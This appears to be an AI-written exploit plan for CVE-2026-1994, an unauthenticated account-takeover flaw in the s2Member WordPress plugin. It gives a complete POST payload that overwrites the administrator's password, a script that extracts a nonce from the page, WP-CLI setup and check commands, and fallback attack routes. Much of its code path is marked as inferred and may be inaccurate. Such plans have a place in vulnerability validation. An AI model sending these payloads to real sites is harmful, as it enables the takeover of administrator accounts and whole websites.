s2Member <= 260127 - Unauthenticated Privilege Escalation via Account Takeover

This research plan targets CVE-2026-1994, a critical unauthenticated privilege escalation vulnerability in the s2Member plugin. The vulnerability stems from a failure to validate a requester's identity or authorization token before processing a password update request, allowing an attacker to overwrite the password of any user, including administrators.

---

1. Vulnerability Summary

• Vulnerability: Unauthenticated Privilege Escalation via Account Takeover
• Location: Likely within the profile modification or AJAX handlers in s2member/src/includes/classes/profile-in.inc.php or s2member-pro/src/includes/classes/profile-ajax.inc.php (if Pro is installed) or the main s2member/src/includes/menu-pages/profile.inc.php.
• Cause: The plugin exposes a mechanism to update user profiles (including passwords) that either fails to check is_user_logged_in(), fails to verify that the user_id being updated matches the current user, or lacks a valid nonce/security token check for unauthenticated requests.
• Impact: Complete site takeover by resetting the admin password.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php or a direct POST to any frontend page if handled via the init or template_redirect hooks.
• Action (Inferred): s2member_pro_profile_ajax or a global POST check for s2member_pro_profile_modification.
• Payload Parameters:
  • action: s2member_pro_profile_ajax (if AJAX)
  • s2member_pro_profile_modification: 1 (trigger flag)
  • s2member_pro_profile[user_id]: 1 (Target: Administrator)
  • s2member_pro_profile[user_pass]: AttackerPassword123!
  • s2member_pro_profile[user_pass_confirm]: AttackerPassword123!
• Preconditions: None. The attack is unauthenticated.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an AJAX action wp_ajax_nopriv_s2member_pro_profile_ajax or hooks into init.
2. Handler: The code enters a profile processing function (e.g., ws_plugin__s2member_pro_profile_modification_handler()).
3. Parameter Extraction: The code extracts the user_id and user_pass from the $_POST['s2member_pro_profile'] array.
4. Missing Check: The code fails to verify if the requester is authorized to modify the specified user_id. It likely assumes that because the request reached this point, the user is editing their own profile.
5. Sink: The code calls wp_update_user() or wp_set_password() using the attacker-supplied user_id and user_pass.

4. Nonce Acquisition Strategy

If the plugin requires a nonce for unauthenticated profile modifications (e.g., for "Open Registration" profile edits), it is typically localized in the page source.

1. Identify Shortcode: s2Member uses [s2Member-Profile /] or [s2Member-Pro-PayPal-Profile-Form /] to display profile forms.
2. Setup:
   • Create a page: wp post create --post_type=page --post_status=publish --post_content='[s2Member-Profile /]' --post_title='Edit Profile'
3. Extraction:
   • Navigate to the newly created page using browser_navigate.
   • Execute browser_eval:

     // Common s2Member localization key
     window.s2member_js_extra?.nonce || 
     document.querySelector('input[name="_wpnonce"]')?.value || 
     document.querySelector('input[name*="s2member_pro_profile_nonce"]')?.value
     

   • If no nonce is found, check if the plugin verifies nonces in the source code. Look for check_ajax_referer or wp_verify_nonce in the handler files identified in Section 1.

5. Exploitation Strategy

We will attempt to reset the password for User ID 1 (standard admin).

Target URL: http://localhost:8080/wp-admin/admin-ajax.php (or the site root if using init hooks).

Payload (AJAX Path):

• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body:

  action=s2member_pro_profile_ajax&s2member_pro_profile_modification=1&s2member_pro_profile[user_id]=1&s2member_pro_profile[user_pass]=PwnedAdmin123!&s2member_pro_profile[user_pass_confirm]=PwnedAdmin123!&_wpnonce=[EXTRACTED_NONCE]
  

Step-by-Step:

1. Verify the existence of the admin-ajax.php handler by grepping the plugin for wp_ajax_nopriv_s2member.
2. If a nonce is required, perform the Nonce Acquisition Strategy described above.
3. Send the http_request with the payload targeting User ID 1.
4. Check the HTTP response code. A 200 OK or a JSON success message indicates the logic was triggered.

6. Test Data Setup

1. Install s2Member: Ensure the plugin is active.
2. Target User: Ensure an administrator user exists with ID 1 (default).
3. Public Page: Create a page with the profile shortcode to potentially expose any required nonces:
   wp post create --post_type=page --post_status=publish --post_content='[s2Member-Profile /]'

7. Expected Results

• The HTTP response should indicate success (often a 1 or a JSON object like {"success":true}).
• The database record for User ID 1 in the wp_users table will have a new user_pass hash.

8. Verification Steps

After sending the exploit, confirm success using WP-CLI:

1. Check Password: Attempt to verify the password change:
   wp user check-password admin PwnedAdmin123!
2. Check Meta: If s2Member logs profile updates in user meta, check for recent changes:
   wp user meta list 1

9. Alternative Approaches

If the AJAX route fails, investigate the init hook entry point:

• Hook Search: grep -r "add_action.*init" s2member/ | grep "profile"
• Alternative Payload: Many s2Member versions process $_POST variables globally on init. Try sending the same s2member_pro_profile parameters to the homepage (/) instead of admin-ajax.php.
• Remote Operations API: s2Member Pro has a "Remote Operations" feature. Check if s2member_pro_remote_op can be triggered without an API key due to improper validation:
  POST /?s2member_pro_remote_op=1 with op[action]=modify_user and op[data][user_id]=1.